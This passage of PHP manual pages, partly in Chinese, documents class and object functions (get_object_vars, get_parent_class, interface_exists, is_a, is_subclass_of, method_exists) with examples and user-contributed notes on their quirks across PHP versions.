    [0] => Test

*/

?>
stachnik at gmail dot com 02-Aug-2005 09:00
In PHP5 to get an array with all properties (even the private ones) all you have to do is write a public method that returns an array for your class:

public function getArray()
{
  return get_object_vars($this);
}

and then

$myBeautifulArray = $myBeautifulObject->getArray ();

Have BEAUTIFUL day :)
fmmarzoa at librexpresion dot org 01-Nov-2004 11:53
You can still cast the object to an array to get all its members and see its visibility. Example:

<?php

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing array cast:\n";

$Arr = (array)$Obj;
print_r ( $Arr );

?>

This will returns:

Using get_object_vars:
Array
(
    [skin] => 1
)

Using array cast:
Array
(
    [skin] => 1
    [ * meat] => 2
    [ Potatoe roots] => 3
)

As you can see, you can obtain the visibility for each member from this cast. That which seems to be spaces into array keys are '\0' characters, so the general rule to parse keys seems to be:

Public members: member_name
Protected memebers: \0*\0member_name
Private members: \0Class_name\0member_name

I've wroten a obj2array function that creates entries without visibility for each key, so you can handle them into the array as it were within the object:

<?php

function obj2array ( &$Instance ) {
    $clone = (array) $Instance;
    $rtn = array ();
    $rtn['___SOURCE_KEYS_'] = $clone;

    while ( list ($key, $value) = each ($clone) ) {
        $aux = explode ("\0", $key);
        $newkey = $aux[count($aux)-1];
        $rtn[$newkey] = &$rtn['___SOURCE_KEYS_'][$key];
    }

    return $rtn;
}

?>

I've created also a <i>bless</i> function that works similar to Perl's bless, so you can further recast the array converting it in an object of an specific class:

<?php

function bless ( &$Instance, $Class ) {
    if ( ! (is_array ($Instance) ) ) {
        return NULL;
    }

    // First get source keys if available
    if ( isset ($Instance['___SOURCE_KEYS_'])) {
        $Instance = $Instance['___SOURCE_KEYS_'];
    }

    // Get serialization data from array
    $serdata = serialize ( $Instance );

    list ($array_params, $array_elems) = explode ('{', $serdata, 2);
    list ($array_tag, $array_count) = explode (':', $array_params, 3 );
    $serdata = "O:".strlen ($Class).":\"$Class\":$array_count:{".$array_elems;

    $Instance = unserialize ( $serdata );
    return $Instance;
}
?>

With these ones you can do things like:

<?php

define("SFCMS_DIR", dirname(__FILE__)."/..");
require_once (SFCMS_DIR."/Misc/bless.php");

class Potatoe {
    public $skin;
    protected $meat;
    private $roots;

    function __construct ( $s, $m, $r ) {
        $this->skin = $s;
        $this->meat = $m;
        $this->roots = $r;
    }

    function PrintAll () {
        echo "skin = ".$this->skin."\n";
        echo "meat = ".$this->meat."\n";
        echo "roots = ".$this->roots."\n";
    }
}

$Obj = new Potatoe ( 1, 2, 3 );

echo "<pre>\n";
echo "Using get_object_vars:\n";

$vars = get_object_vars ( $Obj );
print_r ( $vars );

echo "\n\nUsing obj2array func:\n";

$Arr = obj2array($Obj);
print_r ( $Arr );

echo "\n\nSetting all members to 0.\n";
$Arr['skin']=0;
$Arr['meat']=0;
$Arr['roots']=0;

echo "Converting the array into an instance of the original class.\n";
bless ( $Arr, Potatoe );

if ( is_object ($Arr) ) {
    echo "\$Arr is now an object.\n";
    if ( $Arr instanceof Potatoe ) {
        echo "\$Arr is an instance of Potatoe class.\n";
    }
}

$Arr->PrintAll();

?>
27-Oct-2004 08:02
actually, it's not entirely true that php5 will only return public members....php5 will return any variable IT HAS ACCESS TO

In other words, if you do a get_class_variables($this) inside a class, you'll get everything - public, private, the whole shebang...really annoying since you can't check to see what's private/public without using reflection
manicdepressive AT mindless DOT com 05-Mar-2004 07:57
more strange, strange behaviour:

if you are trying to deep-copy an object with get_object_vars(), strange behaviour can accidentally clobber your original object properties.  please read very, very carefully:

get_object_vars() may either return references to *or* deep copies of the object's properties *depending on whether that property has been set with the -> operator*.   (this behaviour probably varies per php platform and os so please confirm for yourself.)

furthermore, consider
  $properties = get_object_vars($obj);
normally, unset()ting a reference does not affect the original, i.e. $ref = NULL; is not the same as unset($ref); per the references documentation.  However, if you have this strange references version and you unset() an array element of $properties, it will *SET THE OBJECT PROPERTY TO NULL*, which is not how references normally work.

even stranger behaviour comes into effect that i can only express with an example.  please test this with your version and OS and proceed very carefully:
-->
<?php
echo "<pre>\n";

class Lump
{
   var $size = 'average';

   function & copy()
   {  // return a deep copy
      $copy = new Lump();
      $properties = get_object_vars($this);
      foreach( array_keys( $properties ) as $property ){
         $copy->$property = $properties[$property];  // deep, right?
      }
      return $copy;
   }

}

$lump = new Lump();

$lump->size = 'huge';  // <--- this line changes everything
// comment above line out, and see the difference
// also, try substituting another property for 'size'

$properties = get_object_vars($lump);
$properties['size'] = 'small'; // this behavior varies

echo "after changing the properties array:\n";
var_dump( $lump );
// it's either big or small (never huge) depending on
// whether you commented-out the indicated line

//------------- let's try using our copy() method

$original_lump = new Lump();
$original_lump->size = 'huge'; // this line changes the behaviour
$other_lump =& $original_lump->copy();
unset( $other_lump->size );
echo "after unsetting in copy:\n";
var_dump( $original_lump ); // i'm afraid so -- original value clobbered !

echo "</pre>\n";
?>
code till dawn,
   mark meves
christopher AT NOSPAM AT idealab DOT com 30-Dec-2003 03:12
Hmmm.  A bit embarassing...

It turns out the best way to get references to all of your objects member variables is NOT with the functions I provided before, or with get_object_vars.

Just cast the object to array.

$a=(array)$obj;

# The two following statements are now equivalent and identical
$a["member"]=3;
$obj->member=3;

A very powerful tool, for inspectors and what not.
christopher AT NOSPAM AT idealab DOT com 23-Dec-2003 12:49
Please note that you cannot affect the object via the array values...in other words, the returned array does not contain references to the values within the object, but copies.

If you are making an object inspector or editor, this is not good enough.  So I made the following methods:

METHODS:

function &getVar($obj, $name)
{
        $expr="\$prop=&\$obj->$name;";
        eval($expr);
        return $prop;
}

function &getObjectVars($obj)
{
        $result=array();
        $vars=get_object_vars($obj);
        foreach ($vars as $var => $value)
        {
                $result[$var]=&getVar(&$obj, $var);
        }
        return $result;
}

[NOTE:  You must pass in a reference to an object, not an object.  Sorry if this  offends PHP'ers, but the distinction of pass-by-value and copy-on-assignment drives me batty (compared to Python, Java, Smalltalk), so I make all my functions pass by value, and force myself to pass in a reference to keep track of what is happening under the hood.]

EXAMPLE:

class Bob
{
        function Bob()
        {
                $this->thing=13;
                $this->other="whatever";
        }

        var $thing;
        var $other;
}

$obj=&new Bob();

# NOTE:  Passing in a reference!
$props=getObjectVars(&$obj);
$props["thing"]=-11;

var_dump($obj);

RESULTS:

object(bob)(2) {
  ["thing"]=>
  &int(-11)
  ["other"]=>
  &string(8) "whatever"
}
jordi at laigu dot net 06-Nov-2003 05:21
In case your object contains again OBJECTS or ARRAYS:

function makeAssoc($res) {
  if (is_object($res)) $res = get_object_vars($res);
  while (list($key, $value) = each($res)) {
    if (is_object($value) || is_array($value)) {
      $res[$key] = makeAssoc($value);
    }
  }
  return $res;
}

Thanks to mark at dreamzpace dot com
markus at emedia-solutions-wolf dot de 06-Mar-2003 12:01
Hi,

I figured out that in prior version to 4.2 the returned array only contains attributes directly in this class, excluding the derived ones from parentclasses.
info at phpken dot de 21-Nov-2002 06:34
hello,

this example will look like all values of vars was set in your class. write a method like the name: dumpClass and then fill in follow code:

$vars = get_object_vars($this);

echo "<b>class vars</b>";

foreach( $vars as $name => $value ) {
    echo "<li>".$name." : ".$value;
}

look at: get_object_vars($this);

andreas v.l
mark at dreamzpace dot com 13-Sep-2002 10:44
In case your object contains again objects (and so on), this function might be useful:

function makeAssoc($res) {
  $res = get_object_vars($res);
  while (list($key, $value) = each($res)) {
    if (is_object($value)) {
      $res[$key] = makeAssoc($value);
    }
  }
  return $res;
}
nick_eby at bonzidev dot com 09-Jul-2002 12:13
Furthermore, variables not declared in the class but set on a given object, will be returned by get_object_vars().

Example, ver. 4.2.1:
<?
class MyTest {
        var $classVar1 = 'Class Var 1';
        var $classVar2;
        var $classVar3;

        function MyTest()
        {
                $this->classVar2 = 'class var 2';
        }
}

$test = new MyTest();
// This var isn't declared in the class
$test->newObjVar = 'foobar';

echo "<pre>";
print_r(get_object_vars($test));
echo "</pre>";
?>

The output is:
Array
(

    [classVar1] => Class Var 1
    [classVar2] => class var 2
    [classVar3] =>
    [newObjVar] => foobar
)

Prior to version 4.2, classVar3 would not be output as it was never assigned a value.
michael at tapinternet dot com 13-Jun-2002 03:32
It seems that get_object_vars will now return properties of an object even if they have no value  - meaning only defined by var $foo in the class declaration.  This is noted behaviour in 4.2.1 which is different from previous versions and hitherto undocumented on this page.
florian at XCLUDETHISgsf dot de 29-Jan-2002 10:02
There is a strange behaviour, not sure whether it is a bug:

if I call
<?
$single_object = $data_array_of_objects[0];
$array_of_objectvars = get_object_vars($single_object);
     foreach($array_of_objectvars as $key => $val) {
     echo(" $key => $val<br>");
     }
?>
I get only _ONE_ line with the $key = first variable name of the object and $val = the values of _ALL_ variables of the object including the first separated by a space.

NOW:
if I call
<?
$single_object = $data_array_of_objects[0];
$array_of_objectvars = get_object_vars($single_object);
     foreach($array_of_objectvars as $key => $val) {
     echo(" $key => $val<br>");
     }
     echo($data_array_of_objects[0]->objectvar1."<br>");
     echo($data_array_of_objects[0]->objectvar2."<br>");
?>

I get a list of $key = $ val as expected, before the other echos' are printed.
It seems to me that get_object_vars works differently when you access a variable in those objects explicitly (as in the echos)


返回对象或类的父类名

  • ? get_object_vars
  • interface_exists ?
  • PHP Manual
  • 类/对象 函数
  • 返回对象或类的父类名

get_parent_class

(PHP 4, PHP 5, PHP 7)

get_parent_class — 返回对象或类的父类名

说明

get_parent_class ([ mixed $obj ] ) : string

如果 obj 是对象，则返回对象实例 obj 所属类的父类名。

如果 obj 是字符串，则返回以此字符串为名的类的父类名。此功能是在 PHP 4.0.5 中增加的。

Note:

自 PHP 5 起，如果在对象的方法内调用，则 obj 为可选项。

Example #1 使用 get_parent_class()

<?php

class dad {
    function dad()
    {
    // implements some logic
    }
}

class child extends dad {
    function child()
    {
        echo "I'm " , get_parent_class($this) , "'s son\n";
    }
}

class child2 extends dad {
    function child2()
    {
        echo "I'm " , get_parent_class('child2') , "'s son too\n";
    }
}

$foo = new child();
$bar = new child2();

?>

以上例程会输出：

I'm dad's son
I'm dad's son too

参见 get_class() 和 is_subclass_of()。

参数

object

The tested object or class name

返回值

Returns the name of the parent class of the class of which object is an instance or the name.

Note:

If the object does not have a parent or the class given does not exist FALSE will be returned.

If called without parameter outside object, this function returns FALSE.

更新日志

版本 | 说明
Before 5.1.0 | If called without parameter outside object, this function would have returned NULL with a warning.
Since 5.0.0 | The object parameter is optional if called from the object's method.
Since 4.0.5 | If object is a string, returns the name of the parent class of the class with that name.

范例

Example #2 Using get_parent_class()

<?php

class dad {
    function dad()
    {
    // implements some logic
    }
}

class child extends dad {
    function child()
    {
        echo "I'm " , get_parent_class($this) , "'s son\n";
    }
}

class child2 extends dad {
    function child2()
    {
        echo "I'm " , get_parent_class('child2') , "'s son too\n";
    }
}

$foo = new child();
$bar = new child2();

?>

以上例程会输出：

I'm dad's son
I'm dad's son too

参见

  • get_class() - 返回对象的类名
  • is_subclass_of() - 如果此对象是该类的子类，则返回 TRUE

User Contributed Notes

yukal dot alexander at gmail dot com 24-Nov-2018 07:28
An output of the entire inheritance chain using closures, recursion, and OOP

class ParentClass {
    public static function getChain() {
        $chain = null;
        return $function = function($className='') use (& $chain, & $function) {
            if (empty($className))
                $className = static::class;

            if (empty($chain))
                $chain = $className;

            $parent = get_parent_class($className);

            if ($parent !== false) {
                $chain .= " > {$parent}";
                return $function($parent);
            }

            return $chain;
        };
    }
}

class Child extends ParentClass {}
class SubChild extends Child {}
class Sub2 extends SubChild {}
class Sub3 extends Sub2 {}
class Sub4 extends Sub3 {}
class Sub5 extends Sub4 {}
class Sub6 extends Sub5 {}
class Sub7 extends Sub6 {}

printf("%s\n", Sub7::getChain()());

$getChain = Sub7::getChain();
printf("%s\n", $getChain('Sub3'));

Output is:
Sub7 > Sub6 > Sub5 > Sub4 > Sub3 > Sub2 > SubChild > Child > ParentClass
Sub3 > Sub2 > SubChild > Child > ParentClass
falundir at gmail dot com 13-Apr-2012 10:27
You can use this function to find common parent of multiple objects or classes.

<?php
/**
 * Returns name of the first (in class hierarchy) common parent class of all provided objects or classes.
 * Returns FALSE when common class is not found.
 *
 * @param mixed $objects Array that can contain objects or class names.
 * @return mixed
 */
function get_first_common_parent($objects) {
    $common_ancestors = null;
    foreach($objects as $object) {
        if (is_object($object)) {
            $class_name = get_class($object);
        } else {
            $class_name = $object;
        }

        $parent_class_names = array();
        $parent_class_name = $class_name;
        do {
            $parent_class_names[] = $parent_class_name;
        } while($parent_class_name = get_parent_class($parent_class_name));

        if ($common_ancestors === null) {
            $common_ancestors = $parent_class_names;
        } else {
            $common_ancestors = array_intersect($common_ancestors, $parent_class_names);
        }
    }

    return reset($common_ancestors);
}
?>

Example:

<?php
class A {
}

    class B extends A {
    }

        class D extends B {
        }

        class E extends B {
        }

    class C extends A {
    }

        class F extends C {
        }

            class G extends F {
            }

class H {
}

//returns "A"
get_first_common_parent(array('G', 'E'));

//returns "F"
get_first_common_parent(array(new G(), 'F'));

//returns false (no common parent)
get_first_common_parent(array('C', 'H'));

//returns false (non-existent class provided)
get_first_common_parent(array(new B(), 'X'));
?>
levu 20-Apr-2011 08:36
I wrote a simple function doing the reverse thing: get the children:

<?php
function get_child($instance, $classname) {
    $class = $classname;
    $t = get_class($instance);
    while (($p = get_parent_class($t)) !== false) {
        if ($p == $class) {
            return $t;
        }
        $t = $p;
    }
    return false;
}

abstract class A {
    function someFunction() {
        return get_child($this, __CLASS__);
    }
}

class B extends A {

}

class C extends B {

}

$c = new C();
echo $c->someFunction(); //displays B

?>
ssb45 at cornell dot edu 14-May-2008 08:32
"'If called without parameter outside object' What on earth does that mean?"

There are two places this could be called:
1. From within a member function of an object.  In this case, it may be called with no parameters and will return the parent class of the object owning the member function.  (If the parameter is included, then it will return the parent class of the specified class as normal.)

2. From outside an object (i.e., global or function scope).  In this case, PHP doesn't know what class you're talking about if you don't include a parameter, so it returns FALSE.  (But, of course, it works if you specify the class with the parameter.)
matt-php at DONT-SPAM-ME dot bitdifferent dot com 01-Nov-2004 07:52
PHP (4 at least, dunno about 5) stores classnames in lower case, so:

<?PHP

class Foo
{
}

class Bar extends Foo
{
}

echo get_parent_class('Bar');

echo "\n";

echo get_parent_class('bar');

?>

will output:

foo
foo
radu dot rendec at ines dot ro 07-Apr-2004 06:44
If the argument obj is a string and the class is not defined, then the function returns FALSE.

If the argument obj is an object created from a class with no ancestors (or a string representing a class with no ancestors), then the function returns FALSE.


检查接口是否已被定义

  • ? get_parent_class
  • is_a ?
  • PHP Manual
  • 类/对象 函数
  • 检查接口是否已被定义

interface_exists

(PHP 5 >= 5.0.2, PHP 7)

interface_exists — 检查接口是否已被定义

说明

interface_exists ( string $interface_name [, bool $autoload = true ] ) : bool

检查接口是否已被定义。

参数

interface_name

接口名。

autoload

默认是否调用 __autoload。

返回值

本函数在由 interface_name 给出的接口已定义时返回 TRUE，否则返回 FALSE。

范例

Example #1 interface_exists() 例子

<?php
// 在尝试使用前先检查接口是否存在
if (interface_exists('MyInterface')) {
    class MyClass implements MyInterface
    {
        // Methods
    }
}

?>

参见

  • get_declared_interfaces() - 返回一个数组包含所有已声明的接口
  • class_implements() - 返回指定的类实现的所有接口。
  • class_exists() - 检查类是否已定义

User Contributed Notes

CoR 28-Nov-2015 02:30
Class and Interface share SAME namespace!

class k{}

interface k {}    // Fatal error: Cannot redeclare class k
maxim at inbox dot ru 01-Oct-2012 10:40
If you want to check for included interface and you already register spl autoloader - it will crash. Becassue autoloader trying to load `string` and he doesnt matter is it class or not.
Iv found several ways :
1 - unregister AL - -> check for Ifaces - -> register Autoloader

2 - $ifaces = array_flip(get_declared_interfaces());
 if($ifaces["MyIface"]) // empty // isset .

Interfaces are not bad, you can build correct geomentry of system , with validation by funcs / vars / const .
Also they are good to storage variables <?php
 ROOT::THEMES ; ROOT::LOC ; ?> . Much faster then Define, but you cant put algorithms inside, only complite strings / __file__ / etc.
nils dot rocine at gmail dot com 26-Oct-2011 06:35
A little note on namespaces that may be obvious to some, but was not obvious to me.

Although you can make the below statement when the statement is in the same namespace as the interface/class declaration MyInterface...
<?php
$foo instanceof MyInterface
?>

Making use of the interface_exists, or class_exists functions, you must enter the full namespaced interface name like so (even if the function call is from the same namespace.)
<?php
interface_exists(__NAMESPACE__ . '\MyInterface', false);
?>
andrey at php dot net 24-Oct-2004 04:40
As far as I remember interface_exists() was added in 5.0.2 . In 5.0.0 and 5.0.1 class_exists() used to return TRUE when asked for a existing interface. Starting 5.0.2 class_exists() doesn't do that anymore.


如果对象属于该类或该类是此对象的父类则返回 TRUE

  • ? interface_exists
  • is_subclass_of ?
  • PHP Manual
  • 类/对象 函数
  • 如果对象属于该类或该类是此对象的父类则返回 TRUE

is_a

(PHP 4 >= 4.2.0, PHP 5, PHP 7)

is_a — 如果对象属于该类或该类是此对象的父类则返回 TRUE

说明

is_a ( object $object , string $class_name [, bool $allow_string = FALSE ] ) : bool

如果 object 是该类或该类是此对象的父类。

参数

object

The tested object

class_name

The class name

allow_string

If this parameter set to FALSE, string class name as object is not allowed. This also prevents from calling autoloader if the class doesn't exist.

返回值

Returns TRUE if the object is of this class or has this class as one of its parents, FALSE otherwise.

更新日志

版本 | 说明
5.3.9 | Added allow_string parameter
5.3.0 | This function is no longer deprecated, and will therefore no longer throw E_STRICT warnings.
5.0.0 | This function became deprecated in favour of the instanceof operator. Calling this function will result in an E_STRICT warning.

范例

Example #1 is_a() 例子

<?php
// define a class
class WidgetFactory
{
  var $oink = 'moo';
}

// create a new object
$WF = new WidgetFactory();

if (is_a($WF, 'WidgetFactory')) {
  echo "yes, \$WF is still a WidgetFactory\n";
}
?>

Example #2 在 PHP 5 中使用 instanceof 运算符

<?php
if ($WF instanceof WidgetFactory) {
    echo 'Yes, $WF is a WidgetFactory';
}
?>

参见

  • get_class() - 返回对象的类名
  • get_parent_class() - 返回对象或类的父类名
  • is_subclass_of() - 如果此对象是该类的子类，则返回 TRUE

User Contributed Notes

dkrupyanskiy[at]gmail 10-Jan-2018 09:36
Looks like the function signature given in description is wrong. Actually it can take a string  as a first parameter in the case if $allow_string is set to true.

It took some time to find out how the last parameter should be used. Please consider the following example

<?php

class Foo{}

spl_autoload_register(
    function($classname){
        printf('autoload has been triggered for %s%s', $classname, PHP_EOL);
    }
);

var_dump(is_a('UndefinedClassName', Foo::class, true));

?>
Ronald Locke 30-Sep-2016 02:19
Please note that you have to fully qualify the class name in the second parameter.

A use statement will not resolve namespace dependencies in that is_a() function.

<?php
namespace foo\bar;

class A {};
class B extends A {};
?>

<?php
namespace har\var;

use foo\bar\A;
$foo = new foo\bar\B();

is_a($foo, 'A'); // returns false;
is_a($foo, 'foo\bar\A'); // returns true;
?>

Just adding that note here because all examples are without namespaces.
portugal {at} jawira {dot} com 12-Jun-2015 09:32
I just want to point out that you can replace "is_a()" function with the "instanceof" operator, BUT you must use a variable to pass the class name string.

This will work:
<?php
$object = new \stdClass();
$class_name = '\stdClass';

var_dump(is_a($object, $class_name));     // bool(true)
var_dump(is_a($object, '\stdClass'));     // bool(true)
var_dump($object instanceof $class_name); // bool(true)
?>

While this don't:
<?php
$object = new \stdClass();
var_dump($object instanceof '\stdClass'); // Parse error: syntax error, unexpected ''\stdClass'' (T_CONSTANT_ENCAPSED_STRING)
?>
eitan at mosenkis dot net 12-Jan-2012 01:09
As of PHP 5.3.9, is_a() seems to return false when passed a string for the first argument. Instead, use is_subclass_of() and, if necessary for your purposes, also check if the two arguments are equal, since is_subclass_of('foo', 'foo') will return false, while is_a('foo', 'foo') used to return true.
Aron Budinszky 07-Sep-2011 04:21
Be careful! Starting in PHP 5.3.7 the behavior of is_a() has changed slightly: when calling is_a() with a first argument that is not an object, __autoload() is triggered!

In practice, this means that calling is_a('23', 'User'); will trigger __autoload() on "23". Previously, the above statement simply returned 'false'.

More info can be found here:
https://bugs.php.net/bug.php?id=55475

Whether this change is considered a bug and whether it will be reverted or kept in future versions is yet to be determined, but nevertheless it is how it is, for now...
p dot scheit at zweipol dot net 16-Jan-2007 01:44
At least in PHP 5.1.6 this works as well with Interfaces.

<?php
interface test {
  public function A();
}

class TestImplementor implements test {
  public function A () {
    print "A";
  }
}

$testImpl = new TestImplementor();

var_dump(is_a($testImpl,'test'));
?>

will return true
cesoid at yahoo dot com 05-Oct-2005 07:01
is_a returns TRUE for instances of children of the class.

For example:

class Animal
{}

class Dog extends Animal
{}

$test = new Dog();

In this example is_a($test, "Animal") would evaluate to TRUE as well as is_a($test, "Dog").

This seemed intuitive to me, but did not seem to be documented.


如果此对象是该类的子类，则返回 TRUE

  • ? is_a
  • method_exists ?
  • PHP Manual
  • 类/对象 函数
  • 如果此对象是该类的子类，则返回 TRUE

is_subclass_of

(PHP 4, PHP 5, PHP 7)

is_subclass_of — 如果此对象是该类的子类，则返回 TRUE

说明

is_subclass_of ( object $object , string $class_name ) : bool

如果对象 object 所属类是类 class_name 的子类，则返回 TRUE，否则返回 FALSE。

Note:

自 PHP 5.0.3 起也可以用一个字符串来指定 object 参数（类名）。

Example #1 is_subclass_of() 例子

<?php
// define a class
class WidgetFactory
{
  var $oink = 'moo';
}

// define a child class
class WidgetFactory_Child extends WidgetFactory
{
  var $oink = 'oink';
}

// create a new object
$WF = new WidgetFactory();
$WFC = new WidgetFactory_Child();

if (is_subclass_of($WFC, 'WidgetFactory')) {
  echo "yes, \$WFC is a subclass of WidgetFactory\n";
} else {
  echo "no, \$WFC is not a subclass of WidgetFactory\n";
}

if (is_subclass_of($WF, 'WidgetFactory')) {
  echo "yes, \$WF is a subclass of WidgetFactory\n";
} else {
  echo "no, \$WF is not a subclass of WidgetFactory\n";
}

// usable only since PHP 5.0.3
if (is_subclass_of('WidgetFactory_Child', 'WidgetFactory')) {
  echo "yes, WidgetFactory_Child is a subclass of WidgetFactory\n";
} else {
  echo "no, WidgetFactory_Child is not a subclass of WidgetFactory\n";
}
?>

以上例程会输出：

yes, $WFC is a subclass of WidgetFactory
no, $WF is not a subclass of WidgetFactory
yes, WidgetFactory_Child is a subclass of WidgetFactory

参见 get_class()、
get_parent_class() 和
is_a()。

参数

object

A class name or an object instance

class_name

The class name

allow_string

If this parameter set to false, string class name as object is not allowed. This also prevents from calling autoloader if the class doesn't exist.

返回值

This function returns TRUE if the object object, belongs to a class which is a subclass of class_name, FALSE otherwise.

更新日志

版本 | 说明
5.3.9 | Added allow_string parameter
5.0.3 | You may also specify the object parameter as a string (the name of the class)

范例

Example #2 is_subclass_of() example

<?php
// define a class
class WidgetFactory
{
  var $oink = 'moo';
}

// define a child class
class WidgetFactory_Child extends WidgetFactory
{
  var $oink = 'oink';
}

// create a new object
$WF = new WidgetFactory();
$WFC = new WidgetFactory_Child();

if (is_subclass_of($WFC, 'WidgetFactory')) {
  echo "yes, $WFC is a subclass of WidgetFactory\n";
} else {
  echo "no, $WFC is not a subclass of WidgetFactory\n";
}

if (is_subclass_of($WF, 'WidgetFactory')) {
  echo "yes, $WF is a subclass of WidgetFactory\n";
} else {
  echo "no, $WF is not a subclass of WidgetFactory\n";
}

// usable only since PHP 5.0.3
if (is_subclass_of('WidgetFactory_Child', 'WidgetFactory')) {
  echo "yes, WidgetFactory_Child is a subclass of WidgetFactory\n";
} else {
  echo "no, WidgetFactory_Child is not a subclass of WidgetFactory\n";
}
?>

以上例程会输出：

yes, $WFC is a subclass of WidgetFactory
no, $WF is not a subclass of WidgetFactory
yes, WidgetFactory_Child is a subclass of WidgetFactory

注释

Note:

如果此类不是已知类，使用此函数会使用任何已注册的 autoloader。

参见

  • get_class() - 返回对象的类名
  • get_parent_class() - 返回对象或类的父类名
  • is_a() - 如果对象属于该类或该类是此对象的父类则返回 TRUE
  • class_parents() - 返回指定类的父类。

User Contributed Notes

alan at jynxy.net 21-Jun-2018 06:56
The $allow_string parameter is not very clearly documented. When true, it simply allows the first parameter to be the name of a class, instead of an object whose class we are interested in.

Some usage examples:

class parent_class {
    // objects and methods ...
}

$possible_child_object = new possible_child_class(); // might be an extension of parent_class

$result = is_subclass_of($possible_child_object, 'parent_class'); //  valid
$result = is_subclass_of($possible_child_object, 'parent_class', false); //  valid
$result = is_subclass_of('possible_child_class', 'parent_class', true); // valid
$result = is_subclass_of('possible_child_class', 'parent_class', false); // not valid
nicholas at aquarionics dot com 17-Mar-2009 01:02
This might be useful to someone, so:

If you're using Autoload, you should be aware that this will attempt to autoload $classname if it isn't already loaded. I discovered this when I had something using is_subclass_of inside an error thrown by autoload, which then recursed until it ran out of memory.
Damien Bezborodov 16-Mar-2009 04:55
If you need something similar to is_subclass_of() to determine if a class implements an interface before instantiating it, use reflection:

<?php

interface A_Interface {}
class A implements A_Interface {}

$reflectionA = new ReflectionClass('A');
var_dump(
    $reflectionA->implementsInterface('A_Interface')
);

?>
bool(true)
kostyl_kostyl gav-gav mail point ru 07-Mar-2009 03:08
<?php
interface I {
}
class A implements I {
}
class B extends A  {
}
if (is_subclass_of('A', 'I')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
if (is_subclass_of('B', 'I')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
if (is_subclass_of('B', 'A')) {
    echo 'good<br>';
}
else {
    echo 'bad<br>';
}
?>

result:
bad <- you must to describe intermediate class B to be good
good
good
jm 30-Sep-2008 08:02
It would appear that is_subclass_of is case insensitive unlike get_class in php5.
i.e.

<?php
class fooBar {}
class bar extends fooBar {}

assert(get_class(new fooBar()) == "fooBar");
assert(is_subclass_of(new bar(), "foobar") == true);
?>

i run across this while migrating some code from php4 to php5 and the code would only half-the-time break.
Ondra Zizka 13-Oct-2006 05:31
For PHP4:

<?php
/** Returns whether specified class is subclass of the other class. */
function is_subclass($sClass, $sExpectedParentClass){
    do if( $sExpectedParentClass === $sClass ) return true;
    while( false != ($sClass = get_parent_class($sClass)) );
    return false;
}
// Test:
class A {} class B extends A {} class C extends B {} echo (int) is_subclass('C', 'A');
?>
gunniboyh at web dot de 20-May-2006 06:16
is_subclass_of() works also with classes between the class of obj and the superclass.

example:
<?php
class A {};
class B extends A {};
class C extends B {};

$foo=new C();
echo ((is_subclass_of($foo,'A')) ? 'true' : 'false');
?>

echoes 'true' .


检查类的方法是否存在

  • ? is_subclass_of
  • property_exists ?
  • PHP Manual
  • 类/对象 函数
  • 检查类的方法是否存在

method_exists

(PHP 4, PHP 5, PHP 7)

method_exists — 检查类的方法是否存在

说明

method_exists ( mixed $object , string $method_name ) : bool

检查类的方法是否存在于指定的 object中。

参数

object

对象示例或者类名。

method_name

方法名。

返回值

如果 method_name 所指的方法在 object 所指的对象类中已定义，则返回 TRUE，否则返回 FALSE。

注释

Note:

如果此类不是已知类，使用此函数会使用任何已注册的 autoloader。

范例

Example #1 method_exists() 例子

<?php
$directory = new Directory('.');
var_dump(method_exists($directory,'read'));
?>

以上例程会输出：

bool(true)

Example #2 Static method_exists() 例子

<?php
var_dump(method_exists('Directory','read'));
?>

以上例程会输出：

bool(true)

参见

  • function_exists() - 如果给定的函数已经被定义就返回 TRUE
  • is_callable() - 检测参数是否为合法的可调用结构
  • class_exists() - 检查类是否已定义

User Contributed Notes

jave [at] issomewhereontheweb [com] 01-Jun-2016 05:15
The function does not care about class existance, so you can use it to check an existance of a method even when class was not declared e.g.
<?php
if( method_exists('THIS_WAS_NOT_DECLARED', 'some_method') )
   echo "it does exist!";
else
   echo "nope, it is not there...";
?>
...raises no errors/warnings... outputs "nope, it is not there..." if class does not exist at all or if it does but the method doesn't.
w3dk 04-Apr-2015 10:38
A couple of the older comments (specifically "jp at function dot fi" and "spam at majiclab dot com") state that is_callable() does not respect a methods visibility when checked outside of that class. ie. That private/protected methods are seen as callable when tested publicly. However, this was a bug (#29210) in early versions of PHP 5 and was fixed (according to the changelog) in PHP 5.0.5 (and/or PHP 5.1.0).

Bug #29210 - Function: is_callable - no support for private and protected classes
http://bugs.php.net/29210

Changelog - Fixed bug #29210 (Function: is_callable - no support for private and protected classes). (Dmitry)
http://php.net/ChangeLog-5.php#5.1.0
charleston olaes at gmail no spaces 10-Oct-2014 04:31
I was wondering if caching the the methods in an array would have a faster lookup. So I ran a very simple benchmark using xdebug_time_index() with 10000 iterations on each statement.

using PHP 5.3.13 btw

<?php
// using an actual instance of an object shows 0.10398316383362 secs
method_exist($object, $method);
?>

<?php
// using a string shows 0.12779307365417 secs
method_exist('ClassName', $method);
?>

<?php
$array = array(/*method names with numeric index*/);
// shows 0.10288906097412 secs
in_array($method, $array);
?>

<?php
$assoc = array( /*method name as key and value*/ );
// shows 0.017536878585815 secs
isset( $assoc[$method] );
?>

From the looks of the results, there is very little difference in method_exist and in_array. Isset seems to the fastest and using a string as the first parameter is the slowest.

Please note that the test was done on multiple methods, not just one, the code presented above is to show the results, not the actual test code that ran. Also, this was tested just out of curiosity and I didn't set up a specific environment or used any profiling tools, and it was not meant to be an official benchmark in anyway.
konzertheld at thedomainistheusersname dot de 15-Feb-2013 05:32
Note that prepending the namespace (if any) is required even if the calling class is in the same namespace:

<?php
namespace test;
class foo {
 public function lookup() {
  // will return false
  return method_exists('bar', 'nonsense_method');
 }
}

class bar {
 public function nonsense_method() {
  // will return true
  return method_exists('test\foo', 'lookup');
 }
}
?>
Niels 11-May-2011 12:45
Just to mention it: both method_exists() and is_callable() return true for inherited methods:

<?php
class ParentClass {

   function doParent() { }
}

class ChildClass extends ParentClass { }

$p = new ParentClass();
$c = new ChildClass();

// all return true
var_dump(method_exists($p, 'doParent'));
var_dump(method_exists($c, 'doParent'));

var_dump(is_callable(array($p, 'doParent')));
var_dump(is_callable(array($c, 'doParent')));
?>
